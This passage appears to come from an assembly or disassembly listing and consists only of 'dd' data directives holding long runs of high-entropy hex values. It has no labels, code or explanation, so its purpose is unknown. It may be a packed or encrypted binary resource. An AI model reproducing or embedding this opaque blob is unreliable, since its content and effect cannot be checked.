0D4A2DCDh, 0CFE44800h, 58026E57h dd 0F0454FEh, 0A0AD50FCh, 0D000D944h, 822099C1h, 0B64438Eh dd 8FF1AB27h, 0FB5BC20h, 7102CE0Ah, 7B700EF9h, 253CE072h dd 0D39701BAh, 92D140E8h, 582DFAh, 0F2ABE95Eh, 1270626Bh dd 0E42690h, 0A042743Ch, 3019E61h, 920D5B09h, 0FC40546Dh dd 593689h, 1D2EDF96h, 0B9A1C19Fh, 0B306A0A0h, 1EB6E40Fh dd 3007CF9h, 6CD57FBFh, 0E94075Fh, 514C2115h, 0C829AA20h dd 501F63CDh, 0A500094Fh, 3379565Fh, 70BD3C9Eh, 73D9D100h dd 7C1D1738h, 54E24009h, 659B003Fh, 4EA7AB6Dh, 0C8003B4Bh dd 0CC0369D0h, 5400694Ch, 0DC025FCEh, 0F9506h, 3254DE7Bh dd 3EDDEEA6h, 81B38A01h, 4E86073h, 0C801D0h, 19F34D94h dd 2B52289Ah, 3FCC963Dh, 86E98F54h, 0BD118F31h, 0BDEED687h dd 0C839B230h, 0DAA7007Bh, 0F0A54B40h, 4EE0ACBBh, 11C7F48h dd 5253263Fh, 6FF07B05h, 0E04203DDh, 0C1385506h, 0A29E2100h dd 105086C7h, 8FDE6A3h, 78AC0C6Eh, 60E1C980h, 81CF9Ah dd 91889362h, 0B33CA832h, 0FC5CBF7Eh, 874C00D7h, 5C9EB863h dd 0D77817h, 9038660Fh, 0D37A794Fh, 0A7698700h, 0AFD5AA8Eh dd 0A119002Fh, 2AD450E5h, 0B3002780h, 0BAE4B3Bh, 0FFDAF4h dd 0BEB601D6h, 212ACA78h, 1B1F0A98h, 0CAF15F02h, 49F8F8DEh dd 584D0005h, 1231C3B5h, 7F00C81Dh, 8161D3D1h, 0FE686A1Eh dd 0C6F0065h, 915FE956h, 3008713h, 3261A635h, 0DC2677h dd 4EE292E5h, 3C7953B0h, 1F1AD93Ch, 240EF46h, 0F97A2305h dd 8E270336h, 66A273F5h, 0C5D847CBh, 4C03720Ch, 8FF2C74Bh dd 46BAC01Bh, 3E421h dd 5B6E8CD8h, 0E0FE1644h, 29004FF2h, 0D7DE1F58h, 0F80DE84Bh dd 0FD600F6h, 0F54ADDCBh, 6600A8A0h, 0DC0B4FACh, 0E6907F85h dd 0B17B30B9h, 0D26B62C0h, 81BC1601h, 59F64EB7h, 8A4FC4h dd 56747F79h, 1C05EBF0h, 0E600E77Ah, 0AE512824h, 0AD73FCh dd 71BD861Ah, 96DD5A74h, 2A4DE41Ch, 0D394BB40h, 0F27F17F2h dd 897A0773h, 0F0237697h, 93679825h, 3645A31Ch, 490AD0C6h dd 0D2D30011h, 90230885h, 8900183Bh, 0FFD47CCAh, 68F58Ch dd 8298EC7Fh, 1C32FB2Dh, 24A2C500h, 149E59A3h, 0CA480045h dd 0EDEEF684h, 0A60FF978h, 942187E2h, 0D01000C4h, 6676BF22h dd 0FB980B2Eh, 7A0036F3h, 71EB94B4h, 58ED3407h, 7600EC47h dd 0E69930Bh, 9CD4E91Ah, 484FAF26h, 1EED300h, 0D29FB63Ah dd 0C9FF04AAh, 80DC32C2h, 0A5998378h, 0E7013400h, 70F3A20Fh dd 38CF244Fh, 6B06007Fh, 0DA1DFAF5h, 38D7D337h, 0AB0329C3h dd 9657E071h, 0F8F504CAh, 0AFEC8D62h, 287E6E80h, 786F876h dd 4E89654Bh, 0B0AAC783h, 60C705FCh, 2DD76103h, 0E64543A8h dd 0DF5600A8h, 0AF4AC5Dh, 0AB006F30h, 40229411h, 7DD774Ch dd 6692EE7Ch, 79DF309Fh, 60008087h, 0C6EFEA64h, 0BDD16Eh dd 9FF44BA0h, 9A87FD4h, 949748h, 43A9F9C5h, 1606E31h, 0EA5A466Bh dd 0F84D8E68h, 0B7E2093Eh, 7EF1D361h, 7D9F959h, 0EFBCFE4h dd 0CED2FA6Fh, 753880DEh, 2F344ABDh, 0DA8D8300h, 9D464CCCh dd 8B023F05h, 0BF8203F7h, 376353D8h, 84BD81Dh, 1C9981Dh dd 0DCA4209Eh, 67C527Fh, 0E42CF0FCh, 14002E3Fh, 45830EB9h dd 3E74C380h, 62805055h, 398BD304h, 7800B186h, 0A51E5E13h dd 2675DEA7h, 3A7CEC9Ch, 3A91A382h, 0B4403732h, 0E0006995h dd 9222ED0Ch, 74C6D6h, 0DD7644F3h, 0CBCFE5B4h, 9D93250Fh dd 0D620C073h, 275213h, 9A8577BBh, 0E7A2EE17h, 3B5E3E3Bh dd 0EF7A1F78h, 0E15CD94Fh, 488B0313h, 2CCCE080h, 23A3DE5Ah dd 0BD22321Ch, 422BEFC0h, 16286382h, 12FFDB9h, 27C6666Dh dd 2B3980A3h, 0A29935E7h, 0B22D1707h, 1836A842h, 0FC4643BDh dd 0C36F2A60h, 8CA35464h, 0FB423B16h, 0C0DB5E80h, 2062A0C4h dd 6D451901h, 0AF460D78h, 4030C2D1h, 0B3C0002Eh, 1F60B18Ah dd 90A8035Bh, 0B5265AA0h, 4100B959h, 1E60F832h, 66CD0317h dd 0AE97335Bh, 0BA2EEED8h, 0E030F07h, 0EAB07182h, 0E6CD2ACFh dd 6E4F0058h, 0C3CAC0F9h, 0D005043h, 0F2D8E804h, 771A4B2h dd 18058972h, 38B36345h, 0B7EA7804h, 0A480CDECh, 62D0F13Bh dd 6ABE182Eh, 81EA7482h, 0D6914B00h, 7E311C41h, 461FC071h dd 0D5AB7A61h, 8C444Ch, 0BE3ABC30h, 1F0333DFh, 4E15EAF1h dd 0F5A7CC5Fh, 50D0C08Fh, 56E613B8h, 1D9C184Dh, 0D4A8FFA5h dd 4985900h, 0CA441E0Eh, 0B6120F54h, 7BAE4F23h, 9C153360h dd 0BB00FB25h, 16D19F80h, 1AF3C3h, 8863B71Fh, 7BAA3E1Eh dd 0A924381Dh, 67C1544Fh, 0C0FF0175h, 0CCA03393h, 68B30065h dd 1271E852h, 0EF00DA48h, 7FAB5BF0h, 7F445F27h, 0D48000FCh dd 9A7B0225h, 43034696h, 0F75C1BBFh, 0E43480CCh, 602002CBh dd 3105AF79h, 9CED50C0h, 7CEF158h, 0B62E826Ah, 1260FA70h dd 5E37004Ch, 76550EE2h, 0D900C65Dh, 0D6DF2C1h, 70C627Ch dd 20E7031Ah, 9486D01Fh, 0D100251Eh, 0F16854A8h, 9D466h dd 23732DDCh, 4F916E79h, 0F500F07Ch, 8460028Bh, 4BC483h dd 15C16307h, 0A3C0EEFAh, 57B79000h, 0A93459D6h, 54AC0A79h dd 0BC456Ah, 63CC1962h, 3009312h, 1D1A320Fh, 0BB6B7h, 0C22D2617h dd 2295052Eh, 68156F00h, 13A49CCh, 0A4DEA90h, 0B58F7313h dd 0BE9D0084h, 758D7E93h, 7AD92E02h, 0E18EA99Fh, 51FCF65Ch dd 6DD401F1h, 0B166ACFEh, 1E906049h, 2477C83Eh, 6B0CBE3Bh dd 48FE3090h, 79AE10h, 96110B08h, 8A459E1Ah, 3E3220Fh dd 2DFE018h, 3170C0h, 0FB9FD63h, 0DDE58E08h, 81B35B3Ah dd 0B7D6EC32h, 0DB205244h, 59CC1B0Ch, 90BF608Fh, 7CAF4E01h dd 0DCDD440Ch, 741898h, 0E14C0457h, 58CB8DF9h, 0A4C30600h dd 83F7F220h, 63FA0533h, 0C03FB9C9h, 88137B84h, 9F409905h dd 0E8C02FB0h, 1B6FF418h, 10E8A051h, 0EA613AA0h, 58567605h dd 0AAC12B0Dh, 4ED49F1Bh, 0E0B41713h, 0B7E40093h, 77A80281h dd 24E8C112h, 0E079C40Fh, 0D535C0A0h, 0EF3C26F3h, 30E28D8h dd 8822C716h, 5EA84A67h, 0DF0084EDh, 0CF27B41Bh, 0E08AA670h dd 517A1E0Bh, 0B357408Dh, 0B9FE4F24h, 8720C300h, 73A1395Bh dd 848300FFh, 3694488Dh, 0AAE8C456h, 8A0F4D00h, 0BD7C13Fh dd 94144D4Bh, 2AA55407h, 1FDD72BFh, 0DE711140h, 5378371Fh dd 9A13F640h, 50797Fh, 1975D2E1h, 4549AB97h, 6A413B03h dd 80C85FD9h, 0DF0248h, 5A2EE084h, 7CC4373h, 4457C402h dd 603B9131h, 0FE6909E3h, 0B3E7DD0h, 0EF202DC2h, 7D516C00h dd 92170765h, 15136C6Fh, 0BB8C4300h, 4D0326B9h, 0ED26AC71h dd 409564D8h, 7DC8207Ch, 9DF0057h, 9F67232Ch, 2100FF07h dd 71461155h, 1D287D9Ah, 94C8A63h, 0F0804552h, 0BFB85FBEh dd 0F78439h, 38FA21A8h, 0B5CE98h, 0D1DA5632h, 4FF2D9FFh dd 75D5C209h, 75C87E5h, 0BD737D53h, 0BC627CD0h, 0E3F70067h dd 8D3D574Bh, 63008314h, 7F99E9FBh, 0FE020CF3h, 0AB40005Bh dd 68349846h, 0E8E0CD97h, 0F5638400h, 3D0C7DA8h, 0AECC007Eh dd 0E454D0C3h, 850183BAh, 0F9C11684h, 0E6EC483Bh, 0E2B8040Bh dd 0C0177947h, 23AD24CDh, 7B289A00h, 59AC6991h, 705007ABh dd 22D151h, 0EC3F25BCh, 3A28A3E6h, 450F8880h, 0C096E8A2h dd 24212C30h, 0FBFC0767h, 0D0D4AF82h, 7CA5D37Dh, 0A2987F65h dd 8D1E3BC5h, 97416405h, 7CB59EC0h, 0E9C500FAh, 0B3FD0793h dd 0B70195C8h, 9CCFB445h, 0C9E83F37h, 346800ABh, 1AA74AFBh dd 0F8031F7Dh, 0CBE25A42h, 2E50019Eh, 546A7EABh, 7DCC8786h dd 0CC20960Fh, 7A8CFC0Bh, 2AD8CFC3h, 0EADA8460h, 0B303BF74h dd 0DE9E2942h, 0D0B7F0B6h, 64C10033h, 24FD8732h, 0B800FE7Bh dd 46A3CEA8h, 756AF477h, 2E7004Eh, 1B7B0A63h, 3C0062DFh dd 177FCB9h, 0F99C2Ah, 3E864E4Bh, 0C4C1C08h, 9900257Ch dd 68F89DCDh, 7814E579h, 0A0540098h, 42225BEEh, 1A0180A5h dd 925CBE53h, 9DD028Fh, 130420h, 0D774BA3h, 7855C7C3h dd 2A3DEF0Ah, 0EE00EC4Ch, 0B9DAA9CFh, 919E00EDh, 0D67F7A1Dh dd 65003CB2h, 0C4D7669Bh, 0A1742FFh, 4AE2B72Fh, 374E00E7h dd 0F41EEE22h, 0CFAAFC00h, 657A4302h, 980737Ch, 0DC4B5ECEh dd 5DBA6287h, 2D3FCC0h, 0E8D6A100h, 6DE5943Ah, 932400E0h dd 54339DEDh, 0B8262E13h, 0D000C2F2h, 854BAA6Eh, 0CD5E0057h dd 2C4DE055h, 78078B74h, 0F877982Bh, 0D89EBCF0h, 20589Dh dd 0EBC15701h, 4087D738h, 9E12BEE4h, 0B971841Ch, 760479C0h dd 2843F5h, 8FAE2D0Eh, 0FBA62582h, 77085900h, 370A718h dd 0DA2100DEh, 0A17830AEh, 0F00025C2h, 9C73092Ah, 9849B9F5h dd 0AEB200B0h, 466F6DCAh, 0BDB84EE0h, 93BF441Fh, 404201C3h dd 0E3BCE94Ch, 0C403EE40h, 72AC0067h, 0B313BA9h, 6400E5C5h dd 0F5DCB023h, 412A96h, 48D575D7h, 449A0D14h, 0F7740800h dd 5113BA92h, 416500DEh, 0E252A545h, 0BD0028C2h, 6F96E67Ah dd 0FA7F300Dh, 99C80009h, 0EC5B6429h, 0AD1E5EC2h, 6CA45782h dd 928011h, 0D23EF2EDh, 60085F0h, 870FFAA3h, 754507BCh dd 0F8B80086h, 0DEC348B3h, 80E1B90Eh, 96D02420h, 38F92BCBh dd 1E01BD40h, 0D3941222h, 2F78F0F1h, 0FD1F1F98h, 998069FCh dd 0EB8F623h, 0B54D00C9h, 0F9670A4Bh, 2730CBAFh, 4A048A74h dd 0EC7C00B2h, 58370379h, 31003FF6h, 830F84D4h, 0FF16B1h dd 0B570266Eh, 0C04F478Bh, 2ADB860Ah, 0CC07D431h, 24F05617h dd 0D4AA11h, 0F087A8E5h, 99E1401h, 0ECD2FA01h, 0EB071577h dd 0EAA6B1C8h, 0F4610141h, 0E50CA19Bh, 0E64200Fh, 0B9428513h dd 0DE929400h, 46F7CBh, 4D168247h, 65046C60h, 1A832D0Fh dd 0C8380029h, 548036CAh, 204B041h, 6426E714h, 2041C593h dd 7F66FC21h, 1FD3F809h, 2FD4A099h, 7CC28887h, 352900AAh dd 9141C67Dh, 5900EB77h, 0ACCE9FA9h, 614E15h, 0BEDD3189h dd 0FC4CB0F8h, 0A39D2300h, 9945CC0Bh, 8B739Bh, 72EC69B5h dd 3AC07FBDh, 2F2E5901h, 5173EA09h, 0A07370h, 0F4F54D7h dd 0A40234F1h, 0B6D3B0A8h, 0DB7F6700h, 0E06215DCh, 488A4C05h dd 0B4BD3C00h, 0CC97112Fh, 1EB78000h, 89AAD39Eh, 0DD1B00AFh dd 8FA4FAC4h, 0F2007D34h, 58692B45h, 9031CBh, 67D4FCC0h dd 73F7A2E6h, 0D50559EEh, 8B5751EDh, 0E7D5983h, 0E4F1980h dd 76DC0092h, 79982E87h, 0DC199774h, 7818BC8Ch, 674109Fh dd 3839B8E3h, 53428EF8h, 40C07F22h, 1295C6A6h, 0ED050061h dd 15349FE1h, 0D0289036h, 69003C3Ch, 351F54B9h, 4C8529D4h dd 0F60C2D27h, 3A613CC1h, 4901281Dh, 206F9F43h, 2ED2E1A1h dd 2450D1DDh, 5336853h, 8B5651F2h, 0F66C443Ah, 2FCF2004h dd 0EECDF598h, 3ABC620h, 0C3823DA9h, 5DC11358h, 42BD207Fh dd 52363C1Dh, 0FF1D9A00h, 0DB9938h, 97ECCD9Bh, 2FA03755h dd 0A20B6502h, 0C8EF19BEh, 18141A5Ch, 118001E9h, 0D500F570h dd 59917542h, 0B46EF0h, 45586415h, 4AE86C9Ah, 0D47D840Fh dd 0E0240061h, 1F8091DEh, 249EF81h, 69A4FB36h, 0D12B42C3h dd 18F8049Ah, 3CD34876h, 240A5B00h, 0A1B18263h, 9A0A8FE4h dd 80E611D5h, 0B9EC1807h, 0CDCA83EBh, 7529215Ah, 90DC7208h dd 505484C0h, 44B08944h, 0B444E2CDh, 55C444BAh, 0D1425D48h dd 4882579h, 485C2A28h, 7507B831h, 0B0E89E6Bh, 0A59D977Dh dd 0F86FB802h, 55E4F236h, 0F003814Ah, 69B81E51h, 35071AFBh dd 9B0C5D50h, 0E76C4A60h, 0F7A704BFh, 0C0BBA51Eh, 31EFF047h dd 85AA0400h, 51217C7Ah, 0B2720063h, 40D15C4Dh, 793CF1B3h dd 8EE080BDh, 5F70A69Dh, 8AF800AFh, 7FF09AAAh, 3D0048CBh dd 6DAE56Ah, 0FED4AE47h, 20AB00CEh, 7455F8D7h, 75003AE9h dd 681D4946h, 5FBE05h, 2EB81070h, 0AA2A4F06h, 0E34B0100h dd 0BD1E8440h, 28520009h, 69A292F1h, 0B8019B78h, 5CCC8767h dd 0ECD4C031h, 796200E6h, 6D5E855Fh, 9A0A66A1h, 0FCF89CB6h dd 80066C0Bh, 8B10034Dh, 294900FEh, 11FCE12Ah, 21006F59h dd 1C3EE9D4h, 0FCD02285h, 7FB60078h, 77769542h, 43007010h dd 1A3BFBD7h, 5017EBE4h, 589C9C0Ch, 0A500A349h, 3002B8CAh dd 0D00EAECh, 0C4ABB53Ah, 0B0214659h, 3F6B0305h, 0E3D8CD20h dd 0F73833C8h, 3D9B8A00h, 0ED2E1F09h, 6CB4078Bh, 20088DECh dd 0CD6D5D41h, 45F8DE00h, 7F147A36h, 0B3750931h, 5001743h dd 0CAEDF397h, 2446A500h, 15D9C2B1h, 3A1D0092h, 3F5056E7h dd 4D182066h, 1611974Ah, 8A3009D0h, 8C009B26h, 4034027Bh dd 467F7C00h, 3FDE701Dh, 822500AFh, 2367D10Ch, 8A079F24h dd 0DBBD9461h, 0F7A55BC0h, 37045h, 3318C80Eh, 0C4D5088Fh dd 3FB430F1h, 6516051Eh, 115D8800h, 92E5384Ch, 0AFA501C4h dd 7B54C768h, 0C3DA304Fh, 5E0E90F6h, 6046A8B8h, 87137730h dd 0EBD7001Dh, 0C52A44D4h, 0E100BBB0h, 0EC63EDEFh, 0B8A156h dd 3FCD8C68h, 0FDD1B179h, 0F2DC1714h, 250B00B4h, 62A53554h dd 60DEE09Eh, 0CAB410BFh, 2D03C5C0h, 87A6E08Ah, 85D0D094h dd 96BE009Fh, 6C1D39C4h, 0BD0165C0h, 0BF6B1FC5h, 0C3EE02h dd 113077E8h, 7B167E22h, 0C80715E4h, 0B4A23FEFh, 974CC3C0h dd 0CA910073h, 6E475432h, 0F6002D25h, 137041BBh, 23A64D2h dd 0FAEBD472h, 4C607B27h, 0B3139DE5h, 100C79Ch, 5769743Bh dd 0C56C1D7Fh, 0C34E404Fh, 5B37F092h, 0EC16AD0Fh, 0FAAF201Bh dd 7F052995h, 0D30C0043h, 0C6A8E064h, 0B00C419h, 0C36F3F51h dd 7F89006h, 0EC86493Dh, 24EDF0B4h, 70182CFh, 0FC26ABB3h dd 30AEF5h, 147700E0h, 8B6E22B0h, 48001B1Eh, 0C454185Ah dd 3DF12EC0h, 0B8167276h, 57B30085h, 0C5DFD522h, 34FC9F00h dd 0D04584B3h, 0BBE47Ch, 0A66D44A1h, 5EF54D3Ah, 0F16FBF02h dd 687016AFh, 7D3259ECh, 101ECD5h, 39B9A772h, 0E8937EC4h dd 2E000706h, 0A4E3AF49h, 444121h, 0CF922F88h, 7742FF47h dd 0E3905Ch, 2EA4CA83h, 561040h, 1D3EEE68h, 6EBDC616h dd 25A3BA00h, 0CED71ECDh, 72620173h, 354F87F4h, 80042061h dd 80D8F53Bh, 81BD6DD9h, 3CA14E4Bh, 0A9AC3CF3h, 949D00A9h dd 48DC87CCh, 0BFB8A800h, 67648650h, 0A1ED000Ch, 1D7CECAEh dd 66002DFCh, 0DFA456Ah, 0C037F5D2h, 0D36C0E2Ch, 3D00EFC3h dd 0A0CCC00Ch, 3EBA7239h, 7D24F475h, 0A7B10004h, 14CB4887h dd 430DD1C0h, 0C69833h, 0C74A2B3Bh, 5C93FC66h, 8C36100h dd 6F13BFCFh, 0B92600AEh, 0D8ED810Eh, 2C1DDF58h, 0A92148Ah dd 242B040Fh, 0EA4097CAh, 0E3EFDB3Ch, 2F75C800h, 2E15010Bh dd 0FCF70E8Eh, 8C89E59Bh, 778D6CA0h, 4A4CD845h, 80113E19h dd 0F9C5277Fh, 7DA7935Eh, 0AE300002h, 0B78A7A33h, 7701EF5Ah dd 995EB6A5h, 7FF52B87h, 0A054F3FFh, 1F2C556h, 0F7A48FBBh dd 0E4C2ACEAh, 0F90076E3h, 0E935BF53h, 790FB34Eh, 67EB1F3Eh dd 64020737h, 16DB8010h, 0E9398AE1h, 77ED0034h, 0A591625Eh dd 981D0230h, 0A70550C9h, 24E15AC0h, 1C0743FAh, 8C4125BCh dd 9D5B2860h, 991400AFh, 4F52CCBh, 8600EC1Ah, 535023B2h dd 0D019E8h, 3EC13087h, 40789D27h, 1F80B100h, 3A9EBD9h dd 87EF1EABh, 577080BBh, 0A890BF51h, 0A20086E2h, 4C9756F5h dd 75D994h, 0C3E5E95Ah, 1C8DA4ADh, 440D90C1h, 1AC54C3Fh dd 48CE2120h, 0D002E833h, 19D92A1Dh, 4CCBF580h, 0A2008C81h dd 0F0A0A12Ch, 0DA628h, 0CAB6046Eh, 0FC3BFDCFh, 1DEC583Ch dd 33C3D987h, 23844DAh, 96019C0h, 427FE9F2h, 79480C3h dd 0B9C576h, 2145927Dh, 0C3190F66h, 9F55FF13h, 6F5DA400h dd 3BAF4A23h, 82807F45h, 0EB5186D6h, 0F2024EE8h, 9DF5CBF7h dd 1CD48085h, 7DC0C396h, 0FDBA005Ch, 0CB984E4Fh, 481D77CCh dd 8D4052D6h, 2D32D5Ah, 0E97A0069h, 805EE3F1h, 0BF0CABB2h dd 0B02C4371h, 258F0078h, 38722466h, 3D0003F2h, 0DB310292h dd 0AEF96Ch, 94B378B0h, 0BDA9C02Eh, 0B9EE6300h, 441F6E4Bh dd 0FD840F8Ch, 0ABA0FB97h, 59E8D624h, 65439A1Fh, 0B84E668Ah dd 83AD0h, 0BCE3DEE8h, 5DC3BFB1h, 0F4661403h, 888735D4h dd 28270773h, 14B4D70Eh, 0B86DE5ACh, 56C7D000h, 11A7B258h dd 5DE83Fh, 0DDCA4D2Fh, 3A353F23h, 980EFF6h, 0C5CED01Dh dd 0C11C7BCBh, 6F83C710h, 0D04A73A7h, 1E4A6h, 2FFDCE7Ah dd 7FB017F4h, 0E3EE2876h, 0C9634B0Eh, 0C4BA6094h, 2EBB3ABFh dd 2C612BF6h, 60450073h, 58A05B16h, 0BFCB3900h, 73DFC31Dh dd 246BF6D5h, 87A206h, 599EE68Eh, 7816B591h, 78000118h dd 0A49B5E13h, 0A81D0093h dd 67BA3C2Eh, 0E0C0D5C4h, 0AAEE1C11h, 0CD1300C6h, 0A5082149h dd 700A96Eh, 0E471661Dh, 8C57ACh, 0D72D55C7h, 0B6CEB4CAh dd 14E9CC17h, 0B2D10700h, 285A27h, 0BEDBA536h, 0A189B7A4h dd 7FD2951Ah, 0BB588068h, 736E32Ch, 9C29DC33h, 0C98E00CDh dd 2601964Ah, 0FC6F64C2h, 833062ADh, 0DF0106F6h, 50A56D47h dd 12BC1664h, 0E5AE4C80h, 8EEA24DEh, 0FDB9005Eh, 0F067E080h dd 0F7469B00h, 11D58865h, 2F1C0EB2h, 4867EF9Ah, 0F3292F04h dd 0F63BB000h, 0E600AF1Ah, 81FD8DFBh, 60B85A52h, 6DC4F4ADh dd 0C3162FC1h, 27F0E029h, 2DD901E7h, 997705EEh, 2F3970ADh dd 0E038BD39h, 0D509C8E0h, 3F500CEh, 0F258E3A8h, 40007181h dd 0A197D3A6h, 1878E943h, 4290491Ah, 74007E30h, 756FE33Ah dd 0D813Ch, 0DB70D158h, 61886EAh, 95002898h, 0DF6AA97Ch dd 401AF78h, 8ED80963h, 0E6F491BFh, 0F9430E2h, 0F2F611C0h dd 0A3EFCFh, 0D55B24C9h, 0E52C1056h, 760F030Ch, 4E2EDBh dd 85C4B247h, 0F2915FACh, 0E201DCE4h, 653E185Dh, 23C83294h dd 0EE0A1D6h, 1CBB8420h, 5DE94D14h, 7153D839h, 0DA0096D2h dd 0DE7C66D1h, 0B5CD9Dh, 0C4D9D8DDh, 26C27A84h, 29041100h dd 0D7F0E46h, 43A6006Bh, 492DB8FEh, 0F600913Dh, 8DF9CC9Dh dd 0E6CF2ADCh, 0A0542DC4h, 29078E78h, 0C7BD0CA2h, 46087920h dd 27323862h, 58C3348Ch, 3704DA51h, 8A946AF6h, 0D698E480h dd 83263D13h, 4548CD8Bh, 0FBBE3801h, 0E754D81Eh, 0A0C9B026h dd 206B390Eh, 8EADA1B4h, 0A06300A7h, 43270857h, 0AA482950h dd 67E70009h, 0A23BFF0Eh, 6FBC006Ch, 0CD809185h, 640939AAh dd 715EB1h, 0BFA9FE50h, 441003F5h, 7FE58053h, 66641800h dd 0A8FEF05Ch, 0F3C500C4h, 5CBFD30h, 0F278F5E2h, 0C0B8EA54h dd 209A7C02h, 44B8E15Fh, 1EA63D9Ch, 0C02ECD9Eh, 0FB4803CAh dd 0DF00FDB3h, 195F55F0h, 1DCFD77Ah, 0C04B90F9h, 50C0DE9Ch dd 3475E802h, 2662694Ch, 8380747Eh, 19202DD6h, 1FBB0055h dd 59E6FFEEh, 5100213Bh, 0E31E6DB2h, 251433h, 17FA3299h dd 491307D0h, 75BF1900h, 83456820h, 624100A9h, 73B84EDFh dd 963C3DACh, 3BCD81C2h, 56546EC6h, 0C5D7CCh, 0E05BB281h dd 8EB7A5F4h, 0B6EE7200h, 0EC3DEA21h, 0AA9E1CCDh, 40595FCBh dd 0B9A3F23Fh, 11016551h, 0E8B69FDEh, 0B300162h, 53A11F2Bh dd 0FFFC8045h, 0CCF7283Ch, 7B4D4E00h, 0BFD5FA8Ch, 0DCEF2809h dd 0CEAD01A8h, 9180D667h, 0A53DD8DEh, 24000BF8h, 5BE32E58h dd 837359h, 0AACCF0FEh, 7B234F25h, 482B4A00h, 537E8299h dd 7CAD0366h, 5C56DA5Fh, 50BC48Eh, 81F31A3Ch, 6FB67203h dd 2C48B8D8h, 24A5F83h, 0B2C7994h, 0A777A040h, 4BFE4500h dd 570E7621h, 0F60F05FCh, 0C02FB5DBh, 6CA14164h, 43AD2B00h dd 0B027A3EEh, 4E6A01C0h, 6CD5E82h, 0E6A1F8B4h, 0D0EB2F04h dd 0BCC0795Ah, 122D43ACh, 6A8EC1h, 770D1D00h, 0FF003574h dd 6B5163ADh, 73559E1Ch, 0EDEB01C6h, 0E1E54959h, 61308156h dd 0AF3BBBA8h, 0C6DF9852h, 26CD3CA8h, 39FB5300h, 2F1D4569h dd 1C823F03h, 0FF704E95h, 145C6720h, 3D770034h, 0E94904B5h dd 0DE01FDBFh, 54332BB3h, 0C9D87C0Fh, 75AA005Ah, 0ADA08748h dd 14718BA2h, 41948301h, 0C3E8C7AEh, 0D1BDF4h, 0FEAC7F25h dd 0CDBBF1ADh, 0A996CC13h, 74A3000h, 3D1647FBh, 0D79C5C5Dh dd 3CAD4E86h, 4201A020h, 7B7412B7h, 831389FEh, 0D500F2F3h dd 34044ED2h, 80BE0923h, 53808844h, 0F8AFDF3Bh, 3E765B00h dd 41B3FF9Ch, 6EE0003Dh, 94EECF62h, 0A07DEF2h, 26DB6C0Fh dd 7CED17C0h, 58B77E74h, 0AE855876h, 6EDC80A5h, 1003BFF0h dd 0B13FF4F9h, 2829B0D6h, 77330066h, 85B28250h, 0AC03EC5Bh dd 9AADF4E2h, 0E7961E7Dh, 0CC810064h, 5908FFE6h, 0E84CB000h dd 5288A577h, 14A61271h, 9EBC01C8h, 0CD2779DAh, 0E4222Fh dd 604B42B8h, 0A0BB2h, 3048EA17h, 91AF7D85h, 585F7130h dd 0AB69F8h, 78C32333h, 30BB75B4h, 7E01DEFCh, 74F92D6Dh dd 6060A2E1h, 0FE921EECh, 235040E2h, 5FBCCB20h, 0F0D1CE00h dd 37AD3C02h, 0E4BD0190h, 0CFC50161h, 72AC47E9h, 0D0E03B73h dd 4AFC098Dh, 80BFEB3Bh, 0BAE87563h, 90495C83h, 0F8650090h dd 347704A9h, 2700DAFBh, 29606B5Dh, 0E8490E9Fh, 468300EEh dd 916F36D8h, 2800A661h, 707D823Bh, 0A03FA1h, 0B042B184h dd 0C5F815A3h, 8109D27Dh, 44E3BC23h, 29E10EB0h, 0FC9486h dd 0FC1BDAE7h, 2320377Eh, 0F0D000DBh, 1FD6796Dh, 4B072E22h dd 0E8FD4CBAh, 8D41C0DEh, 0A854DBh, 6DF279A1h, 6F3A4878h dd 0DEF68B02h, 0C91E382Eh, 0A830C638h, 55BC05BEh, 0D04D0DCCh dd 604C87B8h, 0E800834Ah, 8E4204E5h, 1ABB059Bh, 800A2D93h dd 72D40500h, 0A214C47Fh, 16187557h, 0FD0C9A03h, 74F030F3h dd 7D4C00D3h, 9647D255h, 0D37B69Eh, 8766B0A6h, 6F530028h dd 9F6BCB83h, 92005AE3h, 0D864032Ch, 3EEC0BF0h, 3400E75Dh dd 0F7CC0FEAh, 0C097313h, 8354EEC6h, 2F21A09h, 0AAF04368h dd 0E8509303h, 4ABAD900h, 0E3976E8Ch, 9CD73A23h, 6F5D260Ah dd 39A50358h, 70F03D89h, 4F0015BDh, 4E4B249Bh, 61FE06h dd 3AD8EBA4h, 0AC3C8749h, 0D78D340Fh, 4B6D00BAh, 1D9B71F7h dd 0BE252E04h, 0C4837800h, 19B3734Dh, 3EB07700h, 979AD118h dd 0CC2D0E67h, 5280FBEFh, 0F106D92Ah, 7ADB7800h, 0DDA1F8C0h dd 3CE498h, 0C73757DCh, 0D40BC943h, 3371751Fh, 0C3F47D01h dd 5CE0BACBh, 0C6D90045h, 5403855Bh, 4A0B0F63h, 0F4C31B8h dd 684FE0A3h, 2CB3E6h, 1E978D61h, 0C92B2D5Dh, 9C745200h dd 0D0180548h, 0BAD50E1Ch, 3FCBED90h, 80654C81h, 7BC840C7h dd 0C92949Fh, 58F03Eh, 84D38BBFh, 8FCB30h, 0C5868A29h dd 0E15BFF57h, 2081F930h, 29EF1C3Bh, 0E220CA46h, 9030F2C2h dd 4092D1h, 42511372h, 416BAB2Eh, 9600E776h, 59C727EDh dd 0E3499FCh, 35905503h, 6C80FF7h, 9020F609h, 0A85ED611h dd 0E71180F9h, 0F1FE7AB7h, 838F0CBDh, 0F4081258h, 0BE0064BAh dd 89BF7A1Fh, 17C7BEBh, 286ED4A4h, 74043516h, 7200DE44h dd 0BAA51E4Bh, 7D86D05h, 0B9484723h, 0EDFCC00Ch, 7434550Ah dd 0ED06903Ah, 3E61BE08h, 0D8600590h, 292E348Bh, 0A0362607h dd 7EE02528h, 0FC5EDCCh, 0A9A31BBFh, 5DB543C0h, 0D4A1A8D4h dd 7621C644h, 919D0955h, 0CE2E09ADh, 9BC1EC43h, 0F0B6C8FEh dd 0D2ED4B03h, 0A3ECC3B8h, 0CE310097h, 0E76E9B26h, 630136FDh dd 4B9C1A81h, 2C348A10h, 42D812D6h, 0B08C2013h, 57589322h dd 2E720646h, 6A08CC0Dh, 4421BAh, 615D5A93h, 7503255Ch dd 3E49E213h, 0F5C5E858h, 3AD4B294h, 0C0134F87h, 79302290h dd 552001C0h, 0DBE3EF0Ch, 0C0C1095Ch, 4ACB1921h, 0A1006168h dd 0F2B37EB7h, 29D61247h, 81ECAFC8h, 0F1F47A45h, 88E0182Dh dd 0FCA14A18h, 1F4EDC35h, 8D0AA9F0h, 0C8030D8Eh, 9006348Ah dd 0A6B49F80h, 0E39A19h, 0AD7D3244h, 792DEEFCh, 1FA8FF09h dd 60048E5Bh, 58D6468Eh, 4A682D95h, 0BD1EB0FEh, 